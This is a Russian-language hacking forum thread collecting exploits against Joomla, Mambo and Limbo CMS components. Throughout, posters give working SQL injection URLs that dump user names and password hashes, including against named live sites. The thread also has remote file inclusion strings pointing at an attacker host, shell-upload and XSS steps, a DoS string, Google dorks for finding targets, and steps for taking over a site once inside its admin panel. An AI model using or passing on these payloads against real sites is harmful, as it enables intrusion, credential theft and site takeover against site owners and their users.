CMS Joomla! Хочу начать обзор со слов, что как бы Joomla не считалась одной из самых уязвимых CMS, на мой взгляд, Joomla очень даже не плохой движок со стороны безопасности. Проблема заключается в сторонних компонентах подключаемых к движкам и разработанных левыми (не разработчиками Джумлы) разработчиками. Но блогодаря сторонним компонентам эта CMS становиться интересной «изнутри» (в администраторской панели). Доступ в администраторскую панель: Здесь я коснусь двух найденных мною уязвимостей в Джумле. 1. Компонент SimpleFaq 2.х (com_simplefaq) * Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре aid в установочном сценарии Joomla index.php (когда параметр \"option\" установлен в com_simplefaq и параметр task установлен в answer). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. (c) securitylab.ru * я позже узнал, что эта уязвимость была найдена до меня Уязвимые версии 2.х – 2.40 Внешний вид: При запросе: Code: http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/* Вежливо выдает логин, хеш (md5) и мыло: Теперь остаётся расшифровать хеш и проходить в администраторскую панель. Таким же образом можно получить доступ к БД MySQL, запросом: Code: http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,User,Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mysql.user/* Ну и соответственно наш милый браузер выдаст следующее: 2. Компонент ReMOSitory 341RE (com_remository) * Уязвимость существует из-за недостаточной обработки загружаемых файлов на сервер, и наличия прямого доступа к ним по дефолту. * Данной уязвимости еще нигде не встречал Внешний вид: Теперь регистрируемся, и идем заливать файл (в нашем случае это шел))) по ссылке «Добавить файл» После того как файл добавлен он автоматически загружается во временное хранилище (/downloads/uploads/), до одобрения администратора. Но мы ждать не будем и последуем по ссылке http://victim.com/downloads/uploads/ и увидим следующее: Открываем... А дальше совсем другая история, которую не раз поднимали в пределах форума. Администраторская панель. Вот мы и добрались до намеченной цели, но мало попасть сюда, нужно еще и иметь доступ на добавление/редактирование/удаление файлов. Для этого есть два варианта: 1. В большинстве случаях (на моей практике это 95/100) доступны на запись следующие папки: А это гуд! Теперь не раздумывая, идем следующим путем: Установка/удаление => Компоненты. И смотря оттого, что именно нужно (а иногда нужно именно всё) устанавливаем следующие компоненты: JoomlaXplorer 2.0 – подобие FTP сервера с возможностью установки прав на файлы, загрузка/редактирование/удаление файлов. Скрин: Причем как можно заметить из скрина доступ обеспечивает не только на директорию сайта, но и если здесь же хостятся другие, то и к другим))) JoomlaPack 1.1.0 – Компонент для создания архива данных (бэкап БД и Полный бэкап сайта с установочными файлами) Здесь ничего сложного нет, просто идем по ссылке «Создать архив сайта», выбираем, что именно нужно создать (архив БД или архив сайта), создаем, потом идем по ссылке «Сохраненные архивы сайта» и скачиваем. Теперь сайт под нашим чутким руководством))) 2. Использования шелла для поднятия рутовских прав, по этой возможности много статей можно найти пройдя по ссылке www.google.com На этом всё. Ответственность за использования данной статьи предусмотрено Уголовным Кодексом Российской Федерации. Тема создана в познавательных целях. JoomlaXplorer 2.0 – тут JoomlaPack 1.1.0. – тут Подборка сплоитов для CMS Joomla! И сторонних компонентов – тут – сплоиты (с) milw0rm.com P.S. И помните каким бы ни был взлом, главное что бы он был безопасным (с) Анфиса Чехова it's my (с) 2007
=НЕ ФЛЕЙМИТЬ= Для того чтобы было легче понять - Joomla - Это как бы 5ая версия Мамбы, которую решили нумеровать и назвать заново. Насчет узнавания версии в последних релизах вопрос затруднительный. Файл CHANGELOG.php может просматривать только админ, /includes/version.php тоже недотсупен на чтение. только инклудиься в файлы админки. installation/index.php - обычно удаляется. Смотрю более старые версии. Множество модулей для джумлы - мамбы страдают удаленнм - локальным инклудом файлов. Все из-за того, что переменная $mosConfig_absolute_path которая инклудится в практически каждом файле никак не проверяется. Точный список модулей и версий скоро будет готов. 4.5.2.1 mysql >4.1 (Использует подзапросы) Bug: Mambo 4.5.2.1 hash pass disclosur Mambo 4.5.2.1 by RST 4.6rc1 Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей. Mambo <= 4.6rc1 'Weblinks' blind SQL injection 1.0 RFI - http://targetsite.com/[path_to_Joomla!]/includes/joomla.php?includepath=[attacker] (c) http://packetstormsecurity.org/0606-exploits/joomla10.txt 1.0.7 Уязвимость в модуле com_rss, позволяющая провести дос атаку, путь, а также создавать произвольные файлы. Mambo/Joomla Path Disclosure & Remote DOS Exploit Создание файла: index.php?option=com_rss&feed=[имя файла]&no_html=1 Путь: index.php?option=com_rss&feed=/&no_html=1 DoS: index.php?option=com_poll&task=results&id=1&mosmsg=DOS@HERE<<>AAA<><> (с) bugs discovered by Foster (RST/GHC) В 1.0.8 все исправлено. Также как я посмотрел в этой версии с $mosmsg можно провести xss атаку, фильтр includes/phpInputFilter/class.inputfilter.php пропускает половину тэгов. 1.0.9 Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей. Joomla <= 1.0.9 'Weblinks' blind SQL injection 1.0.10 Уязвимость в com_poll, позволяющая "накрутить" тот или иной вариант ответа Joomla add unlimited votes 1.5.0 Уязвимость поволяет выполнять произвольные команды на сервере PoC: http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/? Joomla! 1.5.0 Remote file include 1.5 - 1.5 beta 2 Уязвимость позволяет удаленно выполнять комманды на сервере. Уязвимый код: Code: 1) components/com_search/views/search/tmpl/default_results.php line 12: <?php eval ('echo "'. $this->result .'";'); ?> 2) templates/beez/html/com_search/search/default_results.php line 25: echo '<p>' . eval ('echo "' . $this->result . '";'); Poc Remote command execution in Joomla! CMS 1.5 beta 2 1.5 beta 1,2 + RC1 Уязвимость присутствует в модуле com_contentв трех файлах archive.php,category.php,section.php в параметре filter, Joomla! 1.5 Beta1/Beta2/RC1 Remote SQL Injection Exploit Все версии ./administration/ sql injection http://packetstormsecurity.org/0707-exploits/joomla-sql.txt PoC: Раскрытие пути: Заливка шела в 1.5.* версиях.
Инклуды в модах/модулях/компонентах Инклуды в модах/модулях/компонентах Обновлено: 12.01.2008 Софтинка для автоматического чека инклудов прилагается в атаче. добавлен скрипт удаления повторов и сортировки по алфавиту
sql в гостевой книге (модуль com_akobook) v. <=3.42 примеры: (вывод в цитатах) ps для танкистов /itemid,1/ = &itemid=1
VULN: /multithumb.php BUG: include_once($mosConfig_absolute_path."/mambots/content/multithumb/class.img2thumb.inc"); (с) http://www.rootshell-team.com/showthread.php?t=2969
CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path]) # http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]
Как узнать версию Joomla? Файл configuration.php-dist лежит в корне и сам себя описывает так: * ------------------------------------------------------------------------- * ЭТОТ ФАЙЛ ДОЛЖЕН ИСПОЛЬЗОВАТЬСЯ ТОЛЬКО ПРИ НЕВОЗМОЖНОСТИ WEB-ИНСТАЛЛЯТОРА * * Если вы устанавливаете Joomla вручную, то есть не используете web-инсталлятор, * то переименуйте этот файл в configuration.php * * Например: * UNIX -> mv configuration.php-dist configuration.php * Windows -> rename configuration.php-dist configuration.php * * Теперь отредактируйте этот файл и установите параметры вашего сайта * и базы данных. * ------------------------------------------------------------------------- Проблема, однако, состоит в том, что в 9 из 10 случаев файл переименовать либо забывают, либо просто не считают нужным. Примеры тому http://www.joomla.org/configuration.php-dist http://www.joomla.ru/configuration.php-dist Между тем, файл содержит чувствительную информацию, позволяющую узнать версию установленного пакета. Так, если установлена версия 1.0.13, файл содержит строчку: * @version $Id: configuration.php-dist 7424 2007-05-17 15:56:10Z robs $ версии 1.0.11, 1.0.12 * @version $Id: configuration.php-dist 4802 2006-08-28 16:18:33Z stingrey $ версии 1.0.9, 1.0.10 * @version $Id: configuration.php-dist 3754 2006-05-31 12:08:37Z stingrey $ версия 1.0.8 * @version $Id: configuration.php-dist 2622 2006-02-26 04:16:09Z stingrey $ версии 1.0.5-1.0.7 * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $ версия 1.0.4 * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $ версия 1.0.3 * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $ версии 1.0.1, 1.0.2 * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $ версия 1.0.0 * @version $Id: configuration.php-dist 47 2005-09-15 02:55:27Z rhuk $
Уязвимость в поиске по сайту в параметре searchword. Дыра является DOM based XSS. http://site/index. php?option=com_search&searchword=';alert('XSS')// Для исполнения кода, пользователь должен сменить количество результатов поиска на одну страницу. уязвимы версии Joomla! <= 1.0.13
а если так: * @version $Id: configuration.php-dist,v 1.4 2005/11/25 04:46:26 csouza Exp $ какая версия? смахивает на 1.4 но както меня напрягают числа, в списке выше 2005\10 - это уже 1.5
BlackCats, это у тебя какое-то Mambo (не из последних)... На счёт конкретной версии, сейчас, к сож. ответить не могу. Пока выкладываю данные для Joomla 1.5.x 1.5.0 Release Candidate 3 * @version $Id: configuration.php-dist 8946 2007-09-18 14:26:22Z louis $ 1.5.0 Release Candidate 2 * @version $Id: configuration.php-dist 8290 2007-08-01 14:03:11Z jinx $ 1.5.0 Release Candidate 1 * @version $Id: configuration.php-dist 7740 2007-06-13 21:01:25Z laurens $ 1.5.0 Beta 2 * @version $Id: configuration.php-dist 6691 2007-02-21 09:29:26Z Jinx $ 1.5.0 Beta * @version $Id: configuration.php-dist 5361 2006-10-07 19:21:08Z Jinx $
дополнение к com_remository активнаяя xss если можно оставлять коментариии к файлам xttp://localhost/index.php?option=com_remository&Itemid=30&func=fileinfo&id=4 и при загрузке файла иногда работает пхп инекция в "Заголовок:" пишем ";phpinfo();//" <input class='inputbox' type='text' id='filetitle' name='filetitle' size='25' value='' />
позавчера нашёл вроде в паблике нету компонент com_joomradio google->inurl:com_joomradio inurl : option всего 452 маловато http://poosk.fm/index2.php?option=com_joomradio&page=show_radio&id=4+and+1=0+union+select+1,concat(username,0x3a,password),3,4,5,6,7+from+jos_users+where+gid=25+or+gid=24/*
milw0rmv: Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vuln В догонку хочется сказать, что на Mambo перфикc mos_, на Joomla jos_ Mambo: Code: index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+mos_users-- Joomla: Code: index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+jos_users-- Dork: Code: Google : "option=com_rsgallery" или inurl:"index.php?option=com_rsgallery"
очень часто в жомле встречается xss но есть проблема сесия жывёт 30 минут поэтому написал активный снифер сначала снифер пытается залить шелл если не получится залить шелл создаётся новый админ http://slil.ru/25290482 тестил на Joomla 1.0.12
LIMBO CMS (Lite mambo) Blind sql-inj сплоент:http://site/index.php?option=polls&Itemid=0&pollid=[id]/**/and/**/[подзапрос] где [id] - реально существующий id голосования, [подзапрос] - логическое выражение на данный момент уязвимы сайты тех. поддержки: Code: http://limbo-cms.com.ru/index.php?option=polls&Itemid=0&pollid=177/**/and/**/user()=0x746172656C6B615F61646D696E406C6F63616C686F7374 Code: http://www.limboportal.com/index.php?option=polls&Itemid=0&pollid=26/**/and/**/1=1 при неправильном варианте, голосование не отображается, т.к. префикс по умолчанию выбирается случайным образом, вместо префикса при выборке в подзапросе надо указывать после FROM %23__[имя таблицы], где [имя таблицы] - имя таблицы без префикса например: Code: http://www.xtreme.kz/index.php?option=polls&Itemid=0&pollid=26/**/and/**/substring((SELECT/**/1/**/from/**/%23__users),1,1)=1 iJoomla Magazine Blind sql-inj сплоент:http://site/index2.php?option=com_magazine&func=show_magazine&id=[id]+and+[подзапрос] где [id] - реально существующий id страницы, [подзапрос] - логическое выражение на данный момент уязвимы сайты производителя: Code: http://www.ijoomla.com/index2.php?option=com_magazine&func=show_magazine&id=7+and+substring((select+username+from+jos_users+limit+1,1),1,1)=0x21&Itemid=91 при неправильном варианте отображается другая страница З.Ы. Нашел сам, так что если вдруг боян, сильно не пинайте, это просто означает, что у вас больше информации чем у меня
с префексом можно не париться, может кто смотрел исходники тот может и заметил что префик обозначается "#__" потом строка передаётся функции setQuery кторая и заменяет "#__" на нужный, выглядеть будет так %23__users
Да ты прав, правда на сайте limbo-cms.com.ru это не прокатывает, незнаю почему, а вот на других сайтах работает, но вобщето мож мы с тобой разные версии смотрели, запрос передается не в setQuery а в функцию Execute, которая собственно и заменяет #__ на префикс
работает в том случае если производители сторонних компонентов используют стандартные функции жомлы для общения с базой данных бывают и исключения, но в 90% работает
Joomla Component PU Arcade Remote SQL Injection Exploit //Exploit Code: http://server.com/Path/index.php?option=com_puarcade&Itemid=92&fid=-1%20union%20select%20concat(username,0x3a,password)%20from%20jos_users-- //Текст для поиска: Code: inurl:index.php?option=com_puarcade inurl:/option,com_puarcade/ (c)